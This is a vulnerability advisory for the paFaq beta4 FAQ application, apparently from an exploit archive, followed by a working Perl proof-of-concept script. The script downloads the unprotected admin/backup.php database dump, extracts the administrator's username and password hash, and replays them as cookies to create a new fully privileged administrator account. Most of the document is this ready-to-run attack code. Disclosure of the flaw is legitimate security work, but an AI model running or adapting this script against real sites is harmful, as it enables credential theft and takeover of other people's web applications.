PAFaq beta4 - Database Unauthorized Access

source: https://www.securityfocus.com/bid/13999/info

paFaq is prone to an unauthorized access vulnerability regarding the database. This issue is a result of the application failing to perform access validation on the 'backup.php' script. A remote unauthenticated user can invoke the script and retrieve a complete backup of the application database.

A remote attacker could exploit this vulnerability to authenticate to the application using a retrieved administrator username and password hash. 

#!/usr/bin/perl -w
##########################################################################
# paFaq 1.0 Add Administrator PoC // By James // http://www.gulftech.org
##########################################################################

use LWP::UserAgent;

# Set up the LWP User Agent
$ua = new LWP::UserAgent;
$ua->agent("paFaq Hash Grabber v1.0");

if ( !$ARGV[0] ) { print "Usage : pafaq.pl http://path/to/pafaq"; exit; }

my $key_time = time();

my $dbm_path = $ARGV[0] . '/admin/backup.php';
my $add_user = 'pafaq'; # change this?
my $add_pass = 'pafaq'; # change this?
my $add_email = 'pafaq@dev.null'; # change this?
my $add_path = $ARGV[0] . '/admin/index.php?area=users&act=doadd&name=' . $add_user . '&password=' . $add_pass . '&email=' . $add_email .
'&notify=1&can_edit_settings=1&can_edit_admins=1&can_add_admins=1&can_del_admins=1&is_a_admin=1';

print "[*] Trying Host " . $ARGV[0] . "\n";

my $dbm = $ua->get($dbm_path);

if ( $dbm->content =~ /'([0-9]{1,8})',\s'(.*)',\s'([a-f0-9]{32})'/i)
{
        print "[+] User ID Is " . $1 . "\n";
        print "[+] User Name Is " . $2 . "\n";
        print "[+] User Password Is " . $3 . "\n";
        print "[*] Trying to add new user ...\n";

        my @cookie = ('Cookie' => 'pafaq_user=' . $2 . '; pafaq_pass=' . $3);
        my $add = $ua->get($add_path, @cookie);

        if ( $add->content =~ /has been created successfully/ )
        {
                print "[+] User $add_user Added Successfully!\n";
                print "[+] User Password Is $add_pass\n";
        }
        else
        {
                print "[!] Unable To Add User! Maybe the username is already taken? ...\n";
                print "[!] Shutting Down ...\n";
                exit;
        }
}
else
{
        print "[!] The Host Is Not Vulnerable ...\n";
        print "[!] Shutting Down ...\n";
        exit;
}
exit;